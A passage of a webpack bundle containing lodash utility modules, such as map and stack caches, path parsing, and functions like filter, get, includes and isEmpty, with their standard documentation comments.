exports, __webpack_require__) { var getMapData = __webpack_require__( /*! ./_getMapData */ "./node_modules/lodash/_getMapData.js"); /** * Gets the map value for `key`. * * @private * @name get * @memberOf MapCache * @param {string} key The key of the value to get. * @returns {*} Returns the entry value. */ function mapCacheGet(key) { return getMapData(this, key).get(key); } module.exports = mapCacheGet; /***/ }, /***/ "./node_modules/lodash/_mapCacheHas.js": /*!*********************************************!*\ !*** ./node_modules/lodash/_mapCacheHas.js ***! \*********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_mapCacheHasJs(module, exports, __webpack_require__) { var getMapData = __webpack_require__( /*! ./_getMapData */ "./node_modules/lodash/_getMapData.js"); /** * Checks if a map value for `key` exists. * * @private * @name has * @memberOf MapCache * @param {string} key The key of the entry to check. * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`. */ function mapCacheHas(key) { return getMapData(this, key).has(key); } module.exports = mapCacheHas; /***/ }, /***/ "./node_modules/lodash/_mapCacheSet.js": /*!*********************************************!*\ !*** ./node_modules/lodash/_mapCacheSet.js ***! \*********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_mapCacheSetJs(module, exports, __webpack_require__) { var getMapData = __webpack_require__( /*! ./_getMapData */ "./node_modules/lodash/_getMapData.js"); /** * Sets the map `key` to `value`. * * @private * @name set * @memberOf MapCache * @param {string} key The key of the value to set. * @param {*} value The value to set. * @returns {Object} Returns the map cache instance. */ function mapCacheSet(key, value) { var data = getMapData(this, key), size = data.size; data.set(key, value); this.size += data.size == size ? 0 : 1; return this; } module.exports = mapCacheSet; /***/ }, /***/ "./node_modules/lodash/_mapToArray.js": /*!********************************************!*\ !*** ./node_modules/lodash/_mapToArray.js ***! \********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_mapToArrayJs(module, exports) { /** * Converts `map` to its key-value pairs. * * @private * @param {Object} map The map to convert. * @returns {Array} Returns the key-value pairs. */ function mapToArray(map) { var index = -1, result = Array(map.size); map.forEach(function (value, key) { result[++index] = [key, value]; }); return result; } module.exports = mapToArray; /***/ }, /***/ "./node_modules/lodash/_matchesStrictComparable.js": /*!*********************************************************!*\ !*** ./node_modules/lodash/_matchesStrictComparable.js ***! \*********************************************************/ /*! no static exports found */ /***/ function node_modulesLodash_matchesStrictComparableJs(module, exports) { /** * A specialized version of `matchesProperty` for source values suitable * for strict equality comparisons, i.e. `===`. * * @private * @param {string} key The key of the property to get. * @param {*} srcValue The value to match. * @returns {Function} Returns the new spec function. */ function matchesStrictComparable(key, srcValue) { return function (object) { if (object == null) { return false; } return object[key] === srcValue && (srcValue !== undefined || key in Object(object)); }; } module.exports = matchesStrictComparable; /***/ }, /***/ "./node_modules/lodash/_memoizeCapped.js": /*!***********************************************!*\ !*** ./node_modules/lodash/_memoizeCapped.js ***! \***********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_memoizeCappedJs(module, exports, __webpack_require__) { var memoize = __webpack_require__( /*! ./memoize */ "./node_modules/lodash/memoize.js"); /** Used as the maximum memoize cache size. */ var MAX_MEMOIZE_SIZE = 500; /** * A specialized version of `_.memoize` which clears the memoized function's * cache when it exceeds `MAX_MEMOIZE_SIZE`. * * @private * @param {Function} func The function to have its output memoized. * @returns {Function} Returns the new memoized function. */ function memoizeCapped(func) { var result = memoize(func, function (key) { if (cache.size === MAX_MEMOIZE_SIZE) { cache.clear(); } return key; }); var cache = result.cache; return result; } module.exports = memoizeCapped; /***/ }, /***/ "./node_modules/lodash/_nativeCreate.js": /*!**********************************************!*\ !*** ./node_modules/lodash/_nativeCreate.js ***! \**********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_nativeCreateJs(module, exports, __webpack_require__) { var getNative = __webpack_require__( /*! ./_getNative */ "./node_modules/lodash/_getNative.js"); /* Built-in method references that are verified to be native. */ var nativeCreate = getNative(Object, 'create'); module.exports = nativeCreate; /***/ }, /***/ "./node_modules/lodash/_nativeKeys.js": /*!********************************************!*\ !*** ./node_modules/lodash/_nativeKeys.js ***! \********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_nativeKeysJs(module, exports, __webpack_require__) { var overArg = __webpack_require__( /*! ./_overArg */ "./node_modules/lodash/_overArg.js"); /* Built-in method references for those with the same name as other `lodash` methods. */ var nativeKeys = overArg(Object.keys, Object); module.exports = nativeKeys; /***/ }, /***/ "./node_modules/lodash/_nodeUtil.js": /*!******************************************!*\ !*** ./node_modules/lodash/_nodeUtil.js ***! \******************************************/ /*! no static exports found */ /***/ function node_modulesLodash_nodeUtilJs(module, exports, __webpack_require__) { /* WEBPACK VAR INJECTION */ (function (module) { var freeGlobal = __webpack_require__( /*! ./_freeGlobal */ "./node_modules/lodash/_freeGlobal.js"); /** Detect free variable `exports`. */ var freeExports = true && exports && !exports.nodeType && exports; /** Detect free variable `module`. */ var freeModule = freeExports && _typeof2(module) == 'object' && module && !module.nodeType && module; /** Detect the popular CommonJS extension `module.exports`. */ var moduleExports = freeModule && freeModule.exports === freeExports; /** Detect free variable `process` from Node.js. */ var freeProcess = moduleExports && freeGlobal.process; /** Used to access faster Node.js helpers. */ var nodeUtil = function () { try { // Use `util.types` for Node.js 10+. var types = freeModule && freeModule.require && freeModule.require('util').types; if (types) { return types; } // Legacy `process.binding('util')` for Node.js < 10. return freeProcess && freeProcess.binding && freeProcess.binding('util'); } catch (e) {} }(); module.exports = nodeUtil; /* WEBPACK VAR INJECTION */ }).call(this, __webpack_require__( /*! ./../webpack/buildin/module.js */ "./node_modules/webpack/buildin/module.js")(module)); /***/ }, /***/ "./node_modules/lodash/_objectToString.js": /*!************************************************!*\ !*** ./node_modules/lodash/_objectToString.js ***! \************************************************/ /*! no static exports found */ /***/ function node_modulesLodash_objectToStringJs(module, exports) { /** Used for built-in method references. */ var objectProto = Object.prototype; /** * Used to resolve the * [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring) * of values. */ var nativeObjectToString = objectProto.toString; /** * Converts `value` to a string using `Object.prototype.toString`. * * @private * @param {*} value The value to convert. * @returns {string} Returns the converted string. */ function objectToString(value) { return nativeObjectToString.call(value); } module.exports = objectToString; /***/ }, /***/ "./node_modules/lodash/_overArg.js": /*!*****************************************!*\ !*** ./node_modules/lodash/_overArg.js ***! \*****************************************/ /*! no static exports found */ /***/ function node_modulesLodash_overArgJs(module, exports) { /** * Creates a unary function that invokes `func` with its argument transformed. * * @private * @param {Function} func The function to wrap. * @param {Function} transform The argument transform. * @returns {Function} Returns the new function. */ function overArg(func, transform) { return function (arg) { return func(transform(arg)); }; } module.exports = overArg; /***/ }, /***/ "./node_modules/lodash/_root.js": /*!**************************************!*\ !*** ./node_modules/lodash/_root.js ***! \**************************************/ /*! no static exports found */ /***/ function node_modulesLodash_rootJs(module, exports, __webpack_require__) { var freeGlobal = __webpack_require__( /*! ./_freeGlobal */ "./node_modules/lodash/_freeGlobal.js"); /** Detect free variable `self`. */ var freeSelf = (typeof self === "undefined" ? "undefined" : _typeof2(self)) == 'object' && self && self.Object === Object && self; /** Used as a reference to the global object. */ var root = freeGlobal || freeSelf || Function('return this')(); module.exports = root; /***/ }, /***/ "./node_modules/lodash/_setCacheAdd.js": /*!*********************************************!*\ !*** ./node_modules/lodash/_setCacheAdd.js ***! \*********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_setCacheAddJs(module, exports) { /** Used to stand-in for `undefined` hash values. */ var HASH_UNDEFINED = '__lodash_hash_undefined__'; /** * Adds `value` to the array cache. * * @private * @name add * @memberOf SetCache * @alias push * @param {*} value The value to cache. * @returns {Object} Returns the cache instance. */ function setCacheAdd(value) { this.__data__.set(value, HASH_UNDEFINED); return this; } module.exports = setCacheAdd; /***/ }, /***/ "./node_modules/lodash/_setCacheHas.js": /*!*********************************************!*\ !*** ./node_modules/lodash/_setCacheHas.js ***! \*********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_setCacheHasJs(module, exports) { /** * Checks if `value` is in the array cache. * * @private * @name has * @memberOf SetCache * @param {*} value The value to search for. * @returns {number} Returns `true` if `value` is found, else `false`. */ function setCacheHas(value) { return this.__data__.has(value); } module.exports = setCacheHas; /***/ }, /***/ "./node_modules/lodash/_setToArray.js": /*!********************************************!*\ !*** ./node_modules/lodash/_setToArray.js ***! \********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_setToArrayJs(module, exports) { /** * Converts `set` to an array of its values. * * @private * @param {Object} set The set to convert. * @returns {Array} Returns the values. */ function setToArray(set) { var index = -1, result = Array(set.size); set.forEach(function (value) { result[++index] = value; }); return result; } module.exports = setToArray; /***/ }, /***/ "./node_modules/lodash/_stackClear.js": /*!********************************************!*\ !*** ./node_modules/lodash/_stackClear.js ***! \********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_stackClearJs(module, exports, __webpack_require__) { var ListCache = __webpack_require__( /*! ./_ListCache */ "./node_modules/lodash/_ListCache.js"); /** * Removes all key-value entries from the stack. * * @private * @name clear * @memberOf Stack */ function stackClear() { this.__data__ = new ListCache(); this.size = 0; } module.exports = stackClear; /***/ }, /***/ "./node_modules/lodash/_stackDelete.js": /*!*********************************************!*\ !*** ./node_modules/lodash/_stackDelete.js ***! \*********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_stackDeleteJs(module, exports) { /** * Removes `key` and its value from the stack. * * @private * @name delete * @memberOf Stack * @param {string} key The key of the value to remove. * @returns {boolean} Returns `true` if the entry was removed, else `false`. */ function stackDelete(key) { var data = this.__data__, result = data['delete'](key); this.size = data.size; return result; } module.exports = stackDelete; /***/ }, /***/ "./node_modules/lodash/_stackGet.js": /*!******************************************!*\ !*** ./node_modules/lodash/_stackGet.js ***! \******************************************/ /*! no static exports found */ /***/ function node_modulesLodash_stackGetJs(module, exports) { /** * Gets the stack value for `key`. * * @private * @name get * @memberOf Stack * @param {string} key The key of the value to get. * @returns {*} Returns the entry value. */ function stackGet(key) { return this.__data__.get(key); } module.exports = stackGet; /***/ }, /***/ "./node_modules/lodash/_stackHas.js": /*!******************************************!*\ !*** ./node_modules/lodash/_stackHas.js ***! \******************************************/ /*! no static exports found */ /***/ function node_modulesLodash_stackHasJs(module, exports) { /** * Checks if a stack value for `key` exists. * * @private * @name has * @memberOf Stack * @param {string} key The key of the entry to check. * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`. */ function stackHas(key) { return this.__data__.has(key); } module.exports = stackHas; /***/ }, /***/ "./node_modules/lodash/_stackSet.js": /*!******************************************!*\ !*** ./node_modules/lodash/_stackSet.js ***! \******************************************/ /*! no static exports found */ /***/ function node_modulesLodash_stackSetJs(module, exports, __webpack_require__) { var ListCache = __webpack_require__( /*! ./_ListCache */ "./node_modules/lodash/_ListCache.js"), Map = __webpack_require__( /*! ./_Map */ "./node_modules/lodash/_Map.js"), MapCache = __webpack_require__( /*! ./_MapCache */ "./node_modules/lodash/_MapCache.js"); /** Used as the size to enable large array optimizations. */ var LARGE_ARRAY_SIZE = 200; /** * Sets the stack `key` to `value`. * * @private * @name set * @memberOf Stack * @param {string} key The key of the value to set. * @param {*} value The value to set. * @returns {Object} Returns the stack cache instance. */ function stackSet(key, value) { var data = this.__data__; if (data instanceof ListCache) { var pairs = data.__data__; if (!Map || pairs.length < LARGE_ARRAY_SIZE - 1) { pairs.push([key, value]); this.size = ++data.size; return this; } data = this.__data__ = new MapCache(pairs); } data.set(key, value); this.size = data.size; return this; } module.exports = stackSet; /***/ }, /***/ "./node_modules/lodash/_strictIndexOf.js": /*!***********************************************!*\ !*** ./node_modules/lodash/_strictIndexOf.js ***! \***********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_strictIndexOfJs(module, exports) { /** * A specialized version of `_.indexOf` which performs strict equality * comparisons of values, i.e. `===`. * * @private * @param {Array} array The array to inspect. * @param {*} value The value to search for. * @param {number} fromIndex The index to search from. * @returns {number} Returns the index of the matched value, else `-1`. */ function strictIndexOf(array, value, fromIndex) { var index = fromIndex - 1, length = array.length; while (++index < length) { if (array[index] === value) { return index; } } return -1; } module.exports = strictIndexOf; /***/ }, /***/ "./node_modules/lodash/_stringToPath.js": /*!**********************************************!*\ !*** ./node_modules/lodash/_stringToPath.js ***! \**********************************************/ /*! no static exports found */ /***/ function node_modulesLodash_stringToPathJs(module, exports, __webpack_require__) { var memoizeCapped = __webpack_require__( /*! ./_memoizeCapped */ "./node_modules/lodash/_memoizeCapped.js"); /** Used to match property names within property paths. */ var rePropName = /[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g; /** Used to match backslashes in property paths. */ var reEscapeChar = /\\(\\)?/g; /** * Converts `string` to a property path array. * * @private * @param {string} string The string to convert. * @returns {Array} Returns the property path array. */ var stringToPath = memoizeCapped(function (string) { var result = []; if (string.charCodeAt(0) === 46 /* . */ ) { result.push(''); } string.replace(rePropName, function (match, number, quote, subString) { result.push(quote ? subString.replace(reEscapeChar, '$1') : number || match); }); return result; }); module.exports = stringToPath; /***/ }, /***/ "./node_modules/lodash/_toKey.js": /*!***************************************!*\ !*** ./node_modules/lodash/_toKey.js ***! \***************************************/ /*! no static exports found */ /***/ function node_modulesLodash_toKeyJs(module, exports, __webpack_require__) { var isSymbol = __webpack_require__( /*! ./isSymbol */ "./node_modules/lodash/isSymbol.js"); /** Used as references for various `Number` constants. */ var INFINITY = 1 / 0; /** * Converts `value` to a string key if it's not a string or symbol. * * @private * @param {*} value The value to inspect. * @returns {string|symbol} Returns the key. */ function toKey(value) { if (typeof value == 'string' || isSymbol(value)) { return value; } var result = value + ''; return result == '0' && 1 / value == -INFINITY ? '-0' : result; } module.exports = toKey; /***/ }, /***/ "./node_modules/lodash/_toSource.js": /*!******************************************!*\ !*** ./node_modules/lodash/_toSource.js ***! \******************************************/ /*! no static exports found */ /***/ function node_modulesLodash_toSourceJs(module, exports) { /** Used for built-in method references. */ var funcProto = Function.prototype; /** Used to resolve the decompiled source of functions. */ var funcToString = funcProto.toString; /** * Converts `func` to its source code. * * @private * @param {Function} func The function to convert. * @returns {string} Returns the source code. */ function toSource(func) { if (func != null) { try { return funcToString.call(func); } catch (e) {} try { return func + ''; } catch (e) {} } return ''; } module.exports = toSource; /***/ }, /***/ "./node_modules/lodash/_trimmedEndIndex.js": /*!*************************************************!*\ !*** ./node_modules/lodash/_trimmedEndIndex.js ***! \*************************************************/ /*! no static exports found */ /***/ function node_modulesLodash_trimmedEndIndexJs(module, exports) { /** Used to match a single whitespace character. */ var reWhitespace = /\s/; /** * Used by `_.trim` and `_.trimEnd` to get the index of the last non-whitespace * character of `string`. * * @private * @param {string} string The string to inspect. * @returns {number} Returns the index of the last non-whitespace character. */ function trimmedEndIndex(string) { var index = string.length; while (index-- && reWhitespace.test(string.charAt(index))) {} return index; } module.exports = trimmedEndIndex; /***/ }, /***/ "./node_modules/lodash/eq.js": /*!***********************************!*\ !*** ./node_modules/lodash/eq.js ***! \***********************************/ /*! no static exports found */ /***/ function node_modulesLodashEqJs(module, exports) { /** * Performs a * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero) * comparison between two values to determine if they are equivalent. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to compare. * @param {*} other The other value to compare. * @returns {boolean} Returns `true` if the values are equivalent, else `false`. * @example * * var object = { 'a': 1 }; * var other = { 'a': 1 }; * * _.eq(object, object); * // => true * * _.eq(object, other); * // => false * * _.eq('a', 'a'); * // => true * * _.eq('a', Object('a')); * // => false * * _.eq(NaN, NaN); * // => true */ function eq(value, other) { return value === other || value !== value && other !== other; } module.exports = eq; /***/ }, /***/ "./node_modules/lodash/filter.js": /*!***************************************!*\ !*** ./node_modules/lodash/filter.js ***! \***************************************/ /*! no static exports found */ /***/ function node_modulesLodashFilterJs(module, exports, __webpack_require__) { var arrayFilter = __webpack_require__( /*! ./_arrayFilter */ "./node_modules/lodash/_arrayFilter.js"), baseFilter = __webpack_require__( /*! ./_baseFilter */ "./node_modules/lodash/_baseFilter.js"), baseIteratee = __webpack_require__( /*! ./_baseIteratee */ "./node_modules/lodash/_baseIteratee.js"), isArray = __webpack_require__( /*! ./isArray */ "./node_modules/lodash/isArray.js"); /** * Iterates over elements of `collection`, returning an array of all elements * `predicate` returns truthy for. The predicate is invoked with three * arguments: (value, index|key, collection). * * **Note:** Unlike `_.remove`, this method returns a new array. * * @static * @memberOf _ * @since 0.1.0 * @category Collection * @param {Array|Object} collection The collection to iterate over. * @param {Function} [predicate=_.identity] The function invoked per iteration. * @returns {Array} Returns the new filtered array. * @see _.reject * @example * * var users = [ * { 'user': 'barney', 'age': 36, 'active': true }, * { 'user': 'fred', 'age': 40, 'active': false } * ]; * * _.filter(users, function(o) { return !o.active; }); * // => objects for ['fred'] * * // The `_.matches` iteratee shorthand. * _.filter(users, { 'age': 36, 'active': true }); * // => objects for ['barney'] * * // The `_.matchesProperty` iteratee shorthand. * _.filter(users, ['active', false]); * // => objects for ['fred'] * * // The `_.property` iteratee shorthand. * _.filter(users, 'active'); * // => objects for ['barney'] * * // Combining several predicates using `_.overEvery` or `_.overSome`. * _.filter(users, _.overSome([{ 'age': 36 }, ['age', 40]])); * // => objects for ['fred', 'barney'] */ function filter(collection, predicate) { var func = isArray(collection) ? arrayFilter : baseFilter; return func(collection, baseIteratee(predicate, 3)); } module.exports = filter; /***/ }, /***/ "./node_modules/lodash/forEach.js": /*!****************************************!*\ !*** ./node_modules/lodash/forEach.js ***! \****************************************/ /*! no static exports found */ /***/ function node_modulesLodashForEachJs(module, exports, __webpack_require__) { var arrayEach = __webpack_require__( /*! ./_arrayEach */ "./node_modules/lodash/_arrayEach.js"), baseEach = __webpack_require__( /*! ./_baseEach */ "./node_modules/lodash/_baseEach.js"), castFunction = __webpack_require__( /*! ./_castFunction */ "./node_modules/lodash/_castFunction.js"), isArray = __webpack_require__( /*! ./isArray */ "./node_modules/lodash/isArray.js"); /** * Iterates over elements of `collection` and invokes `iteratee` for each element. * The iteratee is invoked with three arguments: (value, index|key, collection). * Iteratee functions may exit iteration early by explicitly returning `false`. * * **Note:** As with other "Collections" methods, objects with a "length" * property are iterated like arrays. To avoid this behavior use `_.forIn` * or `_.forOwn` for object iteration. * * @static * @memberOf _ * @since 0.1.0 * @alias each * @category Collection * @param {Array|Object} collection The collection to iterate over. * @param {Function} [iteratee=_.identity] The function invoked per iteration. * @returns {Array|Object} Returns `collection`. * @see _.forEachRight * @example * * _.forEach([1, 2], function(value) { * console.log(value); * }); * // => Logs `1` then `2`. * * _.forEach({ 'a': 1, 'b': 2 }, function(value, key) { * console.log(key); * }); * // => Logs 'a' then 'b' (iteration order is not guaranteed). */ function forEach(collection, iteratee) { var func = isArray(collection) ? arrayEach : baseEach; return func(collection, castFunction(iteratee)); } module.exports = forEach; /***/ }, /***/ "./node_modules/lodash/get.js": /*!************************************!*\ !*** ./node_modules/lodash/get.js ***! \************************************/ /*! no static exports found */ /***/ function node_modulesLodashGetJs(module, exports, __webpack_require__) { var baseGet = __webpack_require__( /*! ./_baseGet */ "./node_modules/lodash/_baseGet.js"); /** * Gets the value at `path` of `object`. If the resolved value is * `undefined`, the `defaultValue` is returned in its place. * * @static * @memberOf _ * @since 3.7.0 * @category Object * @param {Object} object The object to query. * @param {Array|string} path The path of the property to get. * @param {*} [defaultValue] The value returned for `undefined` resolved values. * @returns {*} Returns the resolved value. * @example * * var object = { 'a': [{ 'b': { 'c': 3 } }] }; * * _.get(object, 'a[0].b.c'); * // => 3 * * _.get(object, ['a', '0', 'b', 'c']); * // => 3 * * _.get(object, 'a.b.c', 'default'); * // => 'default' */ function get(object, path, defaultValue) { var result = object == null ? undefined : baseGet(object, path); return result === undefined ? defaultValue : result; } module.exports = get; /***/ }, /***/ "./node_modules/lodash/hasIn.js": /*!**************************************!*\ !*** ./node_modules/lodash/hasIn.js ***! \**************************************/ /*! no static exports found */ /***/ function node_modulesLodashHasInJs(module, exports, __webpack_require__) { var baseHasIn = __webpack_require__( /*! ./_baseHasIn */ "./node_modules/lodash/_baseHasIn.js"), hasPath = __webpack_require__( /*! ./_hasPath */ "./node_modules/lodash/_hasPath.js"); /** * Checks if `path` is a direct or inherited property of `object`. * * @static * @memberOf _ * @since 4.0.0 * @category Object * @param {Object} object The object to query. * @param {Array|string} path The path to check. * @returns {boolean} Returns `true` if `path` exists, else `false`. * @example * * var object = _.create({ 'a': _.create({ 'b': 2 }) }); * * _.hasIn(object, 'a'); * // => true * * _.hasIn(object, 'a.b'); * // => true * * _.hasIn(object, ['a', 'b']); * // => true * * _.hasIn(object, 'b'); * // => false */ function hasIn(object, path) { return object != null && hasPath(object, path, baseHasIn); } module.exports = hasIn; /***/ }, /***/ "./node_modules/lodash/head.js": /*!*************************************!*\ !*** ./node_modules/lodash/head.js ***! \*************************************/ /*! no static exports found */ /***/ function node_modulesLodashHeadJs(module, exports) { /** * Gets the first element of `array`. * * @static * @memberOf _ * @since 0.1.0 * @alias first * @category Array * @param {Array} array The array to query. * @returns {*} Returns the first element of `array`. * @example * * _.head([1, 2, 3]); * // => 1 * * _.head([]); * // => undefined */ function head(array) { return array && array.length ? array[0] : undefined; } module.exports = head; /***/ }, /***/ "./node_modules/lodash/identity.js": /*!*****************************************!*\ !*** ./node_modules/lodash/identity.js ***! \*****************************************/ /*! no static exports found */ /***/ function node_modulesLodashIdentityJs(module, exports) { /** * This method returns the first argument it receives. * * @static * @since 0.1.0 * @memberOf _ * @category Util * @param {*} value Any value. * @returns {*} Returns `value`. * @example * * var object = { 'a': 1 }; * * console.log(_.identity(object) === object); * // => true */ function identity(value) { return value; } module.exports = identity; /***/ }, /***/ "./node_modules/lodash/includes.js": /*!*****************************************!*\ !*** ./node_modules/lodash/includes.js ***! \*****************************************/ /*! no static exports found */ /***/ function node_modulesLodashIncludesJs(module, exports, __webpack_require__) { var baseIndexOf = __webpack_require__( /*! ./_baseIndexOf */ "./node_modules/lodash/_baseIndexOf.js"), isArrayLike = __webpack_require__( /*! ./isArrayLike */ "./node_modules/lodash/isArrayLike.js"), isString = __webpack_require__( /*! ./isString */ "./node_modules/lodash/isString.js"), toInteger = __webpack_require__( /*! ./toInteger */ "./node_modules/lodash/toInteger.js"), values = __webpack_require__( /*! ./values */ "./node_modules/lodash/values.js"); /* Built-in method references for those with the same name as other `lodash` methods. */ var nativeMax = Math.max; /** * Checks if `value` is in `collection`. If `collection` is a string, it's * checked for a substring of `value`, otherwise * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero) * is used for equality comparisons. If `fromIndex` is negative, it's used as * the offset from the end of `collection`. * * @static * @memberOf _ * @since 0.1.0 * @category Collection * @param {Array|Object|string} collection The collection to inspect. * @param {*} value The value to search for. * @param {number} [fromIndex=0] The index to search from. * @param- {Object} [guard] Enables use as an iteratee for methods like `_.reduce`. * @returns {boolean} Returns `true` if `value` is found, else `false`. * @example * * _.includes([1, 2, 3], 1); * // => true * * _.includes([1, 2, 3], 1, 2); * // => false * * _.includes({ 'a': 1, 'b': 2 }, 1); * // => true * * _.includes('abcd', 'bc'); * // => true */ function includes(collection, value, fromIndex, guard) { collection = isArrayLike(collection) ? collection : values(collection); fromIndex = fromIndex && !guard ? toInteger(fromIndex) : 0; var length = collection.length; if (fromIndex < 0) { fromIndex = nativeMax(length + fromIndex, 0); } return isString(collection) ? fromIndex <= length && collection.indexOf(value, fromIndex) > -1 : !!length && baseIndexOf(collection, value, fromIndex) > -1; } module.exports = includes; /***/ }, /***/ "./node_modules/lodash/isArguments.js": /*!********************************************!*\ !*** ./node_modules/lodash/isArguments.js ***! \********************************************/ /*! no static exports found */ /***/ function node_modulesLodashIsArgumentsJs(module, exports, __webpack_require__) { var baseIsArguments = __webpack_require__( /*! ./_baseIsArguments */ "./node_modules/lodash/_baseIsArguments.js"), isObjectLike = __webpack_require__( /*! ./isObjectLike */ "./node_modules/lodash/isObjectLike.js"); /** Used for built-in method references. */ var objectProto = Object.prototype; /** Used to check objects for own properties. */ var hasOwnProperty = objectProto.hasOwnProperty; /** Built-in value references. */ var propertyIsEnumerable = objectProto.propertyIsEnumerable; /** * Checks if `value` is likely an `arguments` object. * * @static * @memberOf _ * @since 0.1.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is an `arguments` object, * else `false`. * @example * * _.isArguments(function() { return arguments; }()); * // => true * * _.isArguments([1, 2, 3]); * // => false */ var isArguments = baseIsArguments(function () { return arguments; }()) ? baseIsArguments : function (value) { return isObjectLike(value) && hasOwnProperty.call(value, 'callee') && !propertyIsEnumerable.call(value, 'callee'); }; module.exports = isArguments; /***/ }, /***/ "./node_modules/lodash/isArray.js": /*!****************************************!*\ !*** ./node_modules/lodash/isArray.js ***! \****************************************/ /*! no static exports found */ /***/ function node_modulesLodashIsArrayJs(module, exports) { /** * Checks if `value` is classified as an `Array` object. * * @static * @memberOf _ * @since 0.1.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is an array, else `false`. * @example * * _.isArray([1, 2, 3]); * // => true * * _.isArray(document.body.children); * // => false * * _.isArray('abc'); * // => false * * _.isArray(_.noop); * // => false */ var isArray = Array.isArray; module.exports = isArray; /***/ }, /***/ "./node_modules/lodash/isArrayLike.js": /*!********************************************!*\ !*** ./node_modules/lodash/isArrayLike.js ***! \********************************************/ /*! no static exports found */ /***/ function node_modulesLodashIsArrayLikeJs(module, exports, __webpack_require__) { var isFunction = __webpack_require__( /*! ./isFunction */ "./node_modules/lodash/isFunction.js"), isLength = __webpack_require__( /*! ./isLength */ "./node_modules/lodash/isLength.js"); /** * Checks if `value` is array-like. A value is considered array-like if it's * not a function and has a `value.length` that's an integer greater than or * equal to `0` and less than or equal to `Number.MAX_SAFE_INTEGER`. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is array-like, else `false`. * @example * * _.isArrayLike([1, 2, 3]); * // => true * * _.isArrayLike(document.body.children); * // => true * * _.isArrayLike('abc'); * // => true * * _.isArrayLike(_.noop); * // => false */ function isArrayLike(value) { return value != null && isLength(value.length) && !isFunction(value); } module.exports = isArrayLike; /***/ }, /***/ "./node_modules/lodash/isBuffer.js": /*!*****************************************!*\ !*** ./node_modules/lodash/isBuffer.js ***! \*****************************************/ /*! no static exports found */ /***/ function node_modulesLodashIsBufferJs(module, exports, __webpack_require__) { /* WEBPACK VAR INJECTION */ (function (module) { var root = __webpack_require__( /*! ./_root */ "./node_modules/lodash/_root.js"), stubFalse = __webpack_require__( /*! ./stubFalse */ "./node_modules/lodash/stubFalse.js"); /** Detect free variable `exports`. */ var freeExports = true && exports && !exports.nodeType && exports; /** Detect free variable `module`. */ var freeModule = freeExports && _typeof2(module) == 'object' && module && !module.nodeType && module; /** Detect the popular CommonJS extension `module.exports`. */ var moduleExports = freeModule && freeModule.exports === freeExports; /** Built-in value references. */ var Buffer = moduleExports ? root.Buffer : undefined; /* Built-in method references for those with the same name as other `lodash` methods. */ var nativeIsBuffer = Buffer ? Buffer.isBuffer : undefined; /** * Checks if `value` is a buffer. * * @static * @memberOf _ * @since 4.3.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a buffer, else `false`. * @example * * _.isBuffer(new Buffer(2)); * // => true * * _.isBuffer(new Uint8Array(2)); * // => false */ var isBuffer = nativeIsBuffer || stubFalse; module.exports = isBuffer; /* WEBPACK VAR INJECTION */ }).call(this, __webpack_require__( /*! ./../webpack/buildin/module.js */ "./node_modules/webpack/buildin/module.js")(module)); /***/ }, /***/ "./node_modules/lodash/isEmpty.js": /*!****************************************!*\ !*** ./node_modules/lodash/isEmpty.js ***! \****************************************/ /*! no static exports found */ /***/ function node_modulesLodashIsEmptyJs(module, exports, __webpack_require__) { var baseKeys = __webpack_require__( /*! ./_baseKeys */ "./node_modules/lodash/_baseKeys.js"), getTag = __webpack_require__( /*! ./_getTag */ "./node_modules/lodash/_getTag.js"), isArguments = __webpack_require__( /*! ./isArguments */ "./node_modules/lodash/isArguments.js"), isArray = __webpack_require__( /*! ./isArray */ "./node_modules/lodash/isArray.js"), isArrayLike = __webpack_require__( /*! ./isArrayLike */ "./node_modules/lodash/isArrayLike.js"), isBuffer = __webpack_require__( /*! ./isBuffer */ "./node_modules/lodash/isBuffer.js"), isPrototype = __webpack_require__( /*! ./_isPrototype */ "./node_modules/lodash/_isPrototype.js"), isTypedArray = __webpack_require__( /*! ./isTypedArray */ "./node_modules/lodash/isTypedArray.js"); /** `Object#toString` result references. */ var mapTag = '[object Map]', setTag = '[object Set]'; /** Used for built-in method references. */ var objectProto = Object.prototype; /** Used to check objects for own properties. */ var hasOwnProperty = objectProto.hasOwnProperty; /** * Checks if `value` is an empty object, collection, map, or set. * * Objects are considered empty if they have no own enumerable string keyed * properties. * * Array-like values such as `arguments` objects, arrays, buffers, strings, or * jQuery-like collections are considered empty if they have a `length` of `0`. * Similarly, maps and sets are considered empty if they have a `size` of `0`. * * @static * @memberOf _ * @since 0.1.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is empty, else `false`. * @example * * _.isEmpty(null); * // => true * * _.isEmpty(true); * // => true * * _.isEmpty(1); * // => true * * _.isEmpty([1, 2, 3]); * // => false * * _.isEmpty({ 'a': 1 }); * // => false */ function isEmpty(value) { if (value == null) { return true; } if (isArrayLike(value) && (isArray(value) || typeof value == 'string' || typeof value.splice == 'function' || isBuffer(value) || isTypedArray(value) || isArguments(value))) { return !value.length; } var tag = getTag(value); if (tag == mapTag || tag == setTag) { return !value.size; } if (isPrototype(value)) { return !baseKeys(value).length; } for (var key in value) { if (hasOwnProperty.call(value, key)) { return false; } } return true; } module.exports = 